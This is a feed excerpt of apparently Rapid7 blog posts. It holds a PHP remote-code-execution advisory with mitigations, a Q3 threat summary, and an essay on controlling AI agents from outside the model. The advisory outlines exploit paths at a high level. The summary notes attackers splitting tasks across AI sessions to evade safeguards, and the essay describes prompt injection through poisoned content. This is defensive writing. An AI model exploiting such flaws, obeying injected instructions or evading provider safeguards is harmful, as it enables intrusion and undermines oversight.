      <pubDate>Fri, 23 Oct 2026 15:38:56 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0d50271a40a5f14f/6849ab419621d9f3824d5017/metasploit-sky.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[CVE-2026-109618 and CVE-2026-109619: Critical Unauthenticated Remote Code Execution in PHP]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 21, 2026, the PHP project </span><a href="https://www.php.net/archive/2026.php#2026-10-21-5"><span style='font-size: undefined;'>announced security releases</span></a><span style='font-size: undefined;'> for two critical vulnerabilities in PHP. </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-109618"><span style='font-size: undefined;'>CVE-2026-109618</span></a><span style='font-size: undefined;'> can corrupt memory during out-of-memory (OOM) handling, while </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-109619"><span style='font-size: undefined;'>CVE-2026-109619</span></a><span style='font-size: undefined;'> is a use-after-free flaw involving state retained between requests. Both have a CVSSv4 score of 9.2 and both can allow for unauthenticated remote code execution (RCE) with the web worker's privileges.</span></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVSSv4</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Description</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w"><span style='font-size: undefined;'>CVE-2026-109618</span></a></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>9.2 (Critical)</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>RCE via OOM corruption</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp"><span style='font-size: undefined;'>CVE-2026-109619</span></a></p></td><td><p style="direction: ltr;"><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>9.2 (Critical)</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>RCE via stale global state</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>All installations serving web requests are at risk, including PHP-FPM, Apache mod_php, php-cgi, FrankenPHP, and LiteSpeed. The vendor considers mod_php the highest risk because exploitation can succeed before any application code runs.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The advisories report that a successful RCE exploit was developed during research, including achieving RCE against Apache mod_php and PHP-FPM through different attack paths. As of October 21, 2026, there are multiple indications that this research is being independently reproduced, and a viable exploit is expected to be made public soon.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Due to the extremely high deployment of PHP based web applications, exploitation in-the-wild is expected. </span><span style='font-size: undefined;'><strong>Rapid7 recommends updating affected installations on an emergency basis, outside of normal patch cycles.</strong></span></p><p><span style='font-size: undefined;'>Multiple public proof-of-concept (PoC) exploits for CVE-2026-109618 and CVE-2026-109619 are now available. Rapid7 researchers have reviewed these and observe that each demonstrates RCE only against a specific combination of operating system, PHP version, and web server, and none appears to be broadly reliable. Rapid7’s own research supports this. Our attempts so far have produced a working exploit only under narrow lab conditions, and exploitation depends on assumptions that are unlikely to hold on internet-facing instances. We are continuing to investigate approaches that could improve portability, but have not yet developed a reliable, general-purpose exploit. Rapid7 has not observed exploitation in the wild, though there are multiple reports of exploitation attempts, which is expected for a vulnerability of this profile. The situation is evolving quickly, and a more portable exploit technique could emerge at any time. The current difficulty of reliable exploitation should be treated as a window to patch rather than a reason to delay, and Rapid7 continues to recommend updating affected installations on an emergency basis.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Update #1</strong></span><span style='font-size: undefined;'>: On October 26, 2026, </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-109618/"><span style='font-size: undefined;'>CVE-2026-109618</span></a><span style='font-size: undefined;'> and </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-109619/"><span style='font-size: undefined;'>CVE-2026-109619</span></a><span style='font-size: undefined;'> were </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span style='font-size: undefined;'>added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV)</span></a><span style='font-size: undefined;'>, based on evidence of active exploitation. CISA set the remediation due date to October 29, 2026, for affected Federal Civilian Executive Branch agencies and directs them to follow the associated </span><a href="https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk"><span style='font-size: undefined;'>BOD 26-04 forensic triage requirements</span></a><span style='font-size: undefined;'>. Rapid7 continues to recommend updating affected installations on an emergency basis and investigating for prior compromise.</span></p><h2 style="direction: ltr;">Technical overview</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>CVE-2026-109618: Memory corruption during OOM handling</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>According to the </span><a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w"><span style='font-size: undefined;'>OOM advisory</span></a><span style='font-size: undefined;'>, PHP can abruptly abandon request processing when a memory allocation fails. If internal request data is only partly initialized, that exit can leave invalid data for request cleanup to use. Crafted multipart requests, used for forms and file uploads, can exhaust memory even when their size appears to meet PHP's configured limits. Application operations that allocate memory in response to attacker input can also trigger OOM.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Apache mod_php runs cleanup even when request startup fails, enabling the demonstrated attack before application code executes. The advisory reports RCE over HTTP with default PHP input and memory limits, including multi-worker prefork deployments. PHP-FPM terminates a worker when startup fails, preventing that particular sequence. Source analysis supports FPM susceptibility after successful startup, but the advisory reports no complete FPM exploit for this CVE. Exploit portability and reliability depend on the PHP build, extensions, frontend behavior, and memory layout.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>CVE-2026-109619: Use after free across requests</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>PHP can reuse a worker process to handle multiple HTTP requests. The </span><a href="https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp"><span style='font-size: undefined;'>stale-state advisory</span></a><span style='font-size: undefined;'> describes internal state that still points to memory freed at the end of an earlier request. A later request handled by the same worker can access that stale value before normal initialization clears it. Fatal errors, including memory exhaustion and execution timeouts, can interrupt state cleanup; some nonfatal diagnostics during shutdown can also repopulate error state after it was reset.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The advisory confirms RCE against mod_php through PHP 8.5's fatal error backtrace feature, when </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>fatal_error_backtraces</span><span style='font-size: undefined;'> is enabled (the default), where a later initialization diagnostic accesses stale backtrace state. It also confirms session lifecycle RCE against mod_php and FPM. Session upload progress, PHP's upload-tracking feature, is enabled by default and can act as an early consumer of stale session or decoder state before normal initialization; reaching this consumer does not itself require an application call to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>session_start()</span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The validated FPM session path requires a suitable application operation to leave state behind after successful startup, followed by a fatal error and another request that consumes the stale state through session upload progress. Both requests must reach the same worker. Multiple workers and worker recycling can reduce success per request, but do not eliminate the condition.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>PHP has released fixes for both vulnerabilities. Organizations should prioritize updating to the appropriate fixed release or a vendor package containing both complete patches. The PHP advisories list these affected and fixed versions:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>PHP 8.2 releases before 8.2.35: Update to 8.2.35</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>PHP 8.3 releases before 8.3.36: Update to 8.3.36</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>PHP 8.4 releases before 8.4.27: Update to 8.4.27</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>PHP 8.5 releases before 8.5.12: Update to 8.5.12</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Linux distributions and long-term support vendors received patches in advance; check your vendor for updated packages. PHP 8.1 and older no longer receive routine upstream updates. For this incident, PHP has supplied limited source backports for </span><a href="https://github.com/php/php-src/tree/PHP-7.4-CVE-2026-109618-109619"><span style='font-size: undefined;'>PHP 7.4</span></a><span style='font-size: undefined;'>, </span><a href="https://github.com/php/php-src/tree/PHP-8.0-CVE-2026-109618-109619"><span style='font-size: undefined;'>8.0</span></a><span style='font-size: undefined;'>, and </span><a href="https://github.com/php/php-src/tree/PHP-8.1-CVE-2026-109618-109619"><span style='font-size: undefined;'>8.1</span></a><span style='font-size: undefined;'>. Organizations running older branches should obtain a vendor fix, use the source backports described in the </span><a href="https://www.php.net/archive/2026.php#2026-10-21-5"><span style='font-size: undefined;'>PHP announcement</span></a><span style='font-size: undefined;'>, or upgrade to a supported version. PHP also warns that </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>rpms.remirepo.net</span><span style='font-size: undefined;'> will not have updates on October 21, 2026, and urges its users to switch to distribution packages or build from source.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Note that an update containing both complete fixes is the only complete remediation.</strong></span><span style='font-size: undefined;'> </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PHP's temporary configuration measures </span><span style='font-size: undefined;'><em>reduce </em></span><span style='font-size: undefined;'>exposure to specific paths and require careful deployment:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>For the OOM issue, enforce </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>memory_limit=-1</span><span style='font-size: undefined;'> administratively, such as through FPM pool or Apache configuration that applications cannot override. This disables PHP's per-request memory cap and removes the predictable PHP-limit failure used by the confirmed exploit. An underlying allocation failure can still reach the vulnerable path. Restart every worker and verify that no pool, directory, or application setting restores a finite limit.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>For the session lifecycle path, set </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>session.upload_progress.enabled=0</span><span style='font-size: undefined;'> in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>php.ini</span><span style='font-size: undefined;'>, an FPM pool, or server configuration that applies before request parsing, then restart every worker. Application-level </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ini_set()</span><span style='font-size: undefined;'> and FPM </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>.user.ini</span><span style='font-size: undefined;'> are too late. This addresses the confirmed session paths only.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>On PHP 8.5, set </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>fatal_error_backtraces=0</span><span style='font-size: undefined;'> administratively and restart every worker. This addresses the confirmed fatal backtrace path only; other retained state remains a concern.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Disabling PHP's memory cap makes independent resource controls particularly important. PHP recommends </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>post_max_size=8M</span><span style='font-size: undefined;'> where uploads are unnecessary or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>post_max_size=32M</span><span style='font-size: undefined;'> where they are needed, with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>upload_max_filesize</span><span style='font-size: undefined;'> below that limit. At the frontend, bound decoded request size, input and multipart counts, headers per part, and nesting depth, including requests without a usable </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>Content-Length</span><span style='font-size: undefined;'>. If the application does not use multipart data, block those requests before they reach PHP.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Container or cgroup memory limits are also incomplete: allocation failures remain possible, and enforcement can kill the master process and all workers unless workers are isolated. Do not substitute </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>RLIMIT_AS</span><span style='font-size: undefined;'> or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>RLIMIT_DATA</span><span style='font-size: undefined;'>, which can trigger the vulnerable allocation-failure path.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For stale-state exposure, correct invalid or deprecated per-request settings and attacker-reachable fatal errors or timeouts. Hiding diagnostics through </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>error_reporting</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>display_errors</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>log_errors</span><span style='font-size: undefined;'>, or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>@</span><span style='font-size: undefined;'> does not prevent stale-state access. The absence of relevant log entries is not proof that an installation is safe.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, refer to PHP's </span><a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w" target="_blank"><span style='font-size: undefined;'>OOM corruption advisory</span></a><span style='font-size: undefined;'> and </span><a href="https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp" target="_blank"><span style='font-size: undefined;'>stale global state advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><p style="direction: ltr;"><span style='font-size: undefined;'>To learn how to use Rapid7 capabilities to find systems affected by these vulnerabilities and for answers to common questions, read the </span><a href="https://docs.rapid7.com/insightvm/php2shell/" target="_blank"><span style='font-size: undefined;'>PHP2Shell documentation</span></a><span style='font-size: undefined;'>.</span></p><p>For Rapid7 Customers with questions regarding Rapid7 products and their usage of PHP please consult <a href="/trust/advisories/php-cve-2026-109618-cve-2026-109619/" target="_blank"><span style='font-size: undefined;'>this page.</span></a><span style='font-size: undefined;'></span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-109618 and CVE-2026-109619 with remote unauthenticated vulnerability checks, available in a dedicated release that followed the regular October 21 content release.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 has also released authenticated scan checks for both the Scan Engine and the Agent for CVE-2026-109618 and CVE-2026-109619 as part of the October 22 content release.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Authenticated, package-based checks are now available for a variety of Linux distributions.  These checks evaluate installed distribution packages, so they can recognize backported fixes that keep the original upstream PHP version number. Run an authenticated scan with this content release to use them. For the full list of checks and supported distribution versions, read Rapid7’s</span><a href="https://docs.rapid7.com/insightvm/php2shell/#31-exposure-command-vulnerability-management-insightvm-and-nexpose"><span style='font-size: undefined;'> PHP2Shell documentation</span></a><span style='font-size: undefined;'>, where package-based coverage for other distributions will be added as their fixes are published.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In a dedicated October 23 content release following the regular release, Rapid7 has released coverage for CVE-2026-115560, </span><a href="https://www.php.net/archive/2026.php#2026-10-23-1" target="_blank"><span style='font-size: undefined;'>published on October 23</span></a><span style='font-size: undefined;'> by the PHP Foundation. A mitigation technique is available, but no patch has yet been published. Exploitation of CVE-2026-115560 relies on non-standard configuration.</span></p><p><span style='font-size: undefined;'><em>Current</em></span><span style='font-size: undefined;'> </span><span style='font-size: undefined;'><em>scope for authenticated coverage: Windows, macOS and Linux. Remote unauthenticated coverage provides coverage regardless of web-server OS.</em></span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Velociraptor</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>A Velociraptor Artifact </span><a href="https://docs.velociraptor.app/exchange/artifacts/pages/phpinventory/" target="_blank"><span style='font-size: undefined;'>Generic.Applications.PHPInventory</span></a><span style='font-size: undefined;'> is available to inventory PHP installations on Windows, Linux and macOS for remediation scoping. This artifact allows for the collection of package versions, common binary and module paths, and running PHP processes.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 21, 2026:</strong></span><span style='font-size: undefined;'> Initial publication.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 21, 2026:</strong></span><span style='font-size: undefined;'> Updated to reflect availability of vulnerability checks.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 22, 2026</strong></span><span style='font-size: undefined;'>: Updated the Overview section to include Rapid7’s findings on a PoC and the Rapid7 Customers section to include a link to the FAQ documentation.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 23, 2026</strong></span><span style='font-size: undefined;'>: Updated the Exposure Command, Vulnerability Management, and Nexpose section to describe authenticated coverage, Linux distro backported coverage, and more.</span></p></li><li><span style='font-size: undefined;'><strong>October 27, 2026</strong></span><span style='font-size: undefined;'>: Updated the Overview to note that CVE-2026-109618 and CVE-2026-109619 were added to the CISA KEV catalog. Updated Rapid7 customers section to reflect added Windows support.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-109618-and-cve-2026-109619-critical-unauthenticated-remote-code-execution-in-php</link>
      <guid isPermaLink="false">blt9fac75b373c35506</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 21 Oct 2026 15:22:52 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Q3 2026 Threat Update: Attackers Are Exploiting Vulnerabilities Within 3 Days]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Three days is the average time between a high-severity vulnerability becoming public and its exploitation, according to the latest </span><a href="/research/report/quarterly-threat-landscape-report/" target="_self"><span style='font-size: undefined;'><em>Quarterly Threat Landscape Report</em></span></a><span style='font-size: undefined;'> from Rapid7. And 71% of the exploitation tracked in Q3 occurred within the first seven days.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For security teams already managing growing vulnerability backlogs, this creates a difficult question: How do you reduce exposure when attackers can exploit vulnerabilities before your next patching window?</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7's Q3 2026 research brings together vulnerability intelligence, ransomware activity, APT tracking, and underground forum intelligence to show where attacker activity is concentrated.</span></p><h2 style="direction: ltr;">The exploitation window has narrowed, big time</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 tracked 43 newly exploited high- and critical-severity vulnerabilities this quarter, down 7% from Q2 but still 19% higher than the same period last year.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The number of newly exploited vulnerabilities isn't growing at the same rate as disclosures. The more pressing concern is how quickly attackers exploit the vulnerabilities they choose. On average, exploitation occurred just three days after public disclosure. The report also found that 80% of tracked exploitation occurred within 14 days and 90% within 30 days.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That timeline creates a serious challenge for organizations relying on fixed remediation schedules. It also reinforces the need to distinguish between vulnerabilities that are theoretically severe and those that pose an immediate, exploitable risk.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The report examines the exploitation timeline in greater detail, including the vulnerability characteristics that make certain exposures particularly attractive to attackers.</span></p><h2 style="direction: ltr;">Attackers are exploiting vulnerabilities that require no interaction</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Q3's vulnerability data reveals another concerning pattern: Of the 43 newly exploited high- and critical-severity vulnerabilities tracked, 34 (79%) required no authentication or user interaction.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This provides attackers a potential path into exposed systems, no stolen credentials or malicious content interaction necessary. An internet-facing service with an exploitable vulnerability may require immediate attention, particularly when an attacker can reach it without authenticating.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This makes attack surface visibility and contextual prioritization essential. Security teams need to understand which systems are externally accessible, which vulnerabilities are actively exploited, and whether existing controls can prevent or limit compromise.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A CVSS score alone won’t give you the answers. The report explores the characteristics of exploited vulnerabilities and why understanding reachability is critical to reducing risk.</span></p><h2 style="direction: ltr;">AI is taking on a more operational role in attacks</h2><p style="direction: ltr;"><span style='font-size: undefined;'>In Q3, 8% of the threat reporting tracked by Rapid7 cited AI as an operational component. The research identifies a shift from using AI primarily to help draft content or code toward supporting tactical decisions and execution within attack campaigns.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In the documented cases, human operators continued to select targets and determine objectives, but relied on AI assistance for technique selection, target assessment, and adapting when an attack step failed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The report also examines how threat actors split malicious objectives across multiple AI sessions to evade provider safeguards. There are serious implications for detection in these findings. AI-enabled attacks also reinforce the value of monitoring and quickly adapting to attacker behavior rather than relying exclusively on known malware signatures or threat actor identities.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The report provides additional context on how AI appeared in tracked campaigns and what defenders should monitor.</span></p><h2 style="direction: ltr;">The next step: Prioritize exposure before attackers exploit it</h2><p style="direction: ltr;"><span style='color:rgb(26, 26, 46);font-size: undefined;'>Q3's findings reveal a challenge that vulnerability counts alone can’t explain. </span><span style='font-size: undefined;'>Attackers exploited 43 newly tracked vulnerabilities this quarter, yet the average exploitation window was just three days. Meanwhile, underground forum monitoring identified 41 posts advertising RDP or network access, demonstrating continued interest in selling access to compromised environments.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Security teams must account for both the vulnerabilities attackers can exploit directly and the access they can obtain through other means.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Start by identifying externally accessible assets and the vulnerabilities affecting them. Prioritize known exploitation, unauthenticated access paths, and systems supporting critical business functions. Where immediate remediation isn't possible, assess compensating controls and detection coverage.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The latest </span><a href="/research/report/quarterly-threat-landscape-report/" target="_self"><span style='font-size: undefined;'><em>Rapid7 Quarterly Threat Landscape Report</em></span></a><span style='font-size: undefined;'> brings together vulnerability research, ransomware intelligence, nation-state activity, and dark web monitoring to help security teams understand where threats are concentrated and what to address first. </span><a href="/research/report/quarterly-threat-landscape-report/" target="_self"><span style='font-size: undefined;'>Download and read it now</span></a><span style='font-size: undefined;'>.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-q3-2026-threat-update-attackers-exploiting-vulnerabilities-within-3-days</link>
      <guid isPermaLink="false">blt5c9a87310cf89835</guid>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Rapid7 Intelligence]]></dc:creator>
      <pubDate>Wed, 21 Oct 2026 13:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt77f5564b49102b80/6abfb804cd0bd934c1d4e56b/Copy_of_Rapid7_intelligence_report_template.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Your Next Insider Threat Won’t be Human: Securing AI Agents From the Outside in]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'><em>Why the controls on an AI agent have to live outside of it, and what a security operations team can do to implement and maintain those controls.</em></span></p><h2 style="direction: ltr;">The new privileged user in your environment</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Security teams spent two decades learning how to work with the people they trust most. Domain admins, DBAs, finance approvers and contractors with VPN access all get a mature playbook: verified identity, scoped access, logged activity and a fast way to revoke it all.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Today, we’re navigating the same kind of access with regard to AI agents. They read our mailboxes, query our data lakes, open tickets, push code and increasingly, act on production systems. Unlike a new hire, an agent can’t be interviewed, background-checked or made to sign an acceptable-use policy.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The industry has largely settled on one framing: AI agents are the new insider threat but that label only tells us half of the story. It tells us </span><span style='font-size: undefined;'><em>who</em></span><span style='font-size: undefined;'> to worry about, not </span><span style='font-size: undefined;'><em>where</em></span><span style='font-size: undefined;'> the controls should sit. Our argument is that the answer is a security idea from 1972, the reference monitor, and that the SOC is where it gets enforced in practice.</span></p><h2 style="direction: ltr;">Why agents break the trust model we had</h2><p style="direction: ltr;"><span style='font-size: undefined;'>With traditional software, a security incident ends in a root cause. You find the vulnerable function, the misconfigured rule or the bad commit, and you fix it. The behavior lived in code we could read.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Large language models don't give us that. We can't point to the training example or the set of weights that produced a specific decision. The same prompt can produce different actions on different runs. For a defender, that removes the most basic assumption we rely on: that the system will do tomorrow what it did today.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attack surface changes too, and computer science has an old name for this problem: the </span><span style='font-size: undefined;'><strong>confused deputy</strong></span><span style='font-size: undefined;'>. This is a trusted program tricked into misusing its own authority on someone else's behalf. An agent that reads a poisoned email, web page or document and then acts on hidden instructions is a confused deputy with API keys. No password is stolen and no exploit fires, which makes the agent's permissions the real blast radius, not the model's intelligence.</span></p><h2 style="direction: ltr;">Where the insider analogy holds, and where it breaks</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Most discussion of agents as insiders focuses on two gaps: agents have no career to lose, and they act at machine speed. Both are real. From a detection and forensics seat, though, four other differences change the work more:</span></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Difference</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Human insider</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>AI agent</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>What it means for defenders</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Monoculture</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>One person fails on their own</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Many identical copies share one weakness</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Treat a working injection like a wormable bug: fix the fleet, not one instance</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Replayability</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Events can be reconstructed and the person interviewed</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>The same input can produce a different action on a rerun</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Forensics must rest on recorded inputs and tool calls, not on replaying the agent</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Command channel</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Instructions come from a manager</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Instructions arrive mixed in with the data it processes</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Any content the agent reads is a potential command</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Self-report</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>A person can be questioned and cross-checked</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Its account of its reasoning may not match what it did</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Evidence must come from outside the agent</span></p></td></tr></tbody></table><p style="direction: ltr;"><span style='font-size: undefined;'>The last row matters most. We can't make an agent's self-reported reasoning the basis of trust, because we don't yet know how to guarantee that reasoning is faithful. Evidence has to come from outside the agent.</span></p><h2 style="direction: ltr;">Put the controls outside the model</h2><p style="direction: ltr;"><span style='font-size: undefined;'>If the model can't be fully trusted, the controls that govern it can't live inside of it. A system prompt that says "never delete production data" is a suggestion, not a control. A well-crafted injection can talk the model out of it.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Security architects solved a version of this problem in the 1970s with the reference monitor: a mechanism that checks every access request, can't be bypassed and can't be tampered with by the program it governs. For AI agents, that means separating three things: the model that reasons, the harness that orchestrates it and the policy layer that decides which actions are actually allowed.</span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt75d7d93f2cc0a795/6ad646ff75da61bc073d5671/image1.png" alt="image1.png" caption="Figure 1: Agent control architecture · enforcement outside the model" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="image1.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt75d7d93f2cc0a795/6ad646ff75da61bc073d5671/image1.png" data-sys-asset-uid="blt75d7d93f2cc0a795" data-sys-asset-filename="image1.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Agent control architecture · enforcement outside the model" data-sys-asset-alt="image1.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: Agent control architecture · enforcement outside the model</figcaption></div></figure><p style="direction: ltr;"><span style='font-size: undefined;'>The agent can propose anything, but only the enforcement point decides what reaches real systems, and every decision lands in a log the agent can't alter.</span></p><h2 style="direction: ltr;">A security playbook for AI agents</h2><p style="direction: ltr;"><span style='font-size: undefined;'>None of these controls are new. What's new is applying them consistently to a non-human actor that reasons, plans and acts.</span></p><ol><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Give every agent its own identity.</strong></span><span style='font-size: undefined;'> An agent should never run under a shared service account or a person's own credentials. It needs an identity that can be scoped, monitored, and revoked independently.</span></p></li><li style="direction: ltr;"><p 